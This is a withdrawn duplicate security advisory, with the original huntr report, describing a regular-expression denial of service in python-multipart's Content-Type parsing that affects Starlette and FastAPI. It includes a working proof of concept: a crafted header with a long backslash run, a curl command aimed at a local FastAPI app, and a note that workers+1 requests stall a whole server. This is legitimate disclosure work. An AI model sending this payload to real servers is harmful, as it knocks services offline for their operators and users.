## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
## Original Description
### Summary
When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.
An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with `python-multipart`.
### Details
A regular HTTP `Content-Type` header could look like:
```
Content-Type: text/html; charset=utf-8
```
`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
```
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
```
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
### PoC
Create a FastAPI app that uses form data:
```Python
# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
    username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}
```
Then start it with:
```console
$ uvicorn main:app
INFO:     Started server process [50601]
INFO:     Waiting for application startup.
INFO:     ASGI 'lifespan' protocol appears unsupported.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
```
Then send the attacking request with:
```console
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
```
#### Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with `Ctrl+C` as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
```console
$ ps -fA | grep uvicorn
  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn
```
In this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:
```console
$ kill -9 59461
```
### Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.
### Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
```Python
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
    username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}
```
I'm running the above with uvicorn with the following command:
```console
uvicorn server:app
```
Then run the following cUrl command:
```
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
```
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
#### Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
#### Occurrences
[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)
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